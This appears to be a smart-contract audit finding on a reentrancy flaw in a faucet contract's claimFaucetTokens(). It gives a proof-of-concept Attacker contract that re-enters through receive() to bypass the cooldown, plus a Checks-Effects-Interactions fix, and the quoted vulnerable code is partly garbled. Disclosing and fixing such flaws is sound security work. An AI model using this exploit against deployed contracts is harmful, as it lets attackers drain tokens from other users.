Root + Impact
Description
-
The contract intends to enforce a 3-day cooldown (CLAIM_COOLDOWN) per user for claiming ERC20 tokens. This is tracked by updating the lastClaimTime for a user after a successful claim.
-
The contract violates the Checks-Effects-Interactions security pattern. It sends ETH to a user via a low-level .call before updating all state variables, specifically lastClaimTime and dailyClaimCount.
-
An attacker can use a malicious contract with a receive() or fallback() function to re-enter the claimFaucetTokens() function. Because lastClaimTime has not yet been updated, the cooldown check passes on every re-entrant call, allowing the attacker to claim tokens repeatedly within a single transaction.
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if () {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@>
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
}
}
@>
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
}
Risk
Likelihood:
-
Reason 1: Exploiting this requires a custom-written smart contract, making it more complex than other vulnerablities. This lowers the likelihood from High to medium.
-
Reason 2: The conditions for the re-entrancy (being a first-time ETH claimer) are straightforward for an attacker to meet.
Impact:
-
Impact 1: The per-user cooldown, a primary security mechanism of the faucet, is completely ineffective against a contract-based attacker.
-
Impact 2: An attacker can claim a disproportionately large number of tokens, potentially hitting the dailyClaimLimit quickly and causing a denial of service for legitimate users.
Proof of Concept
An attacker deploys a contract that re-enters the faucet upon receiving ETH.
pragma solidity ^0.8.18;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
function getFaucetTotalSupply() external view returns (uint256);
function faucetDrip() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
contract Attacker {
IRaiseBoxFaucet public faucet;
uint8 public reentryCount;
constructor(address faucetAddr) {
faucet = IRaiseBoxFaucet(faucetAddr);
}
function startAttack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (reentryCount < 4 && faucet.getFaucetTotalSupply() > faucet.faucetDrip()) {
reentryCount++;
faucet.claimFaucetTokens();
}
}
}
Recommended Mitigation
Strictly adhere to the Checks-Effects-Interactions pattern. Ensure all state changes (Effects) are made before any external calls (Interactions).
function claimFaucetTokens() public {
// ... all CHECKS ...
+ // === MITIGATION: Apply all state changes (EFFECTS) before external calls ===
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // INTERACTION
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
// ... emit skip event ...
}
}
- // VULNERABLE: Effects happen after interaction
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}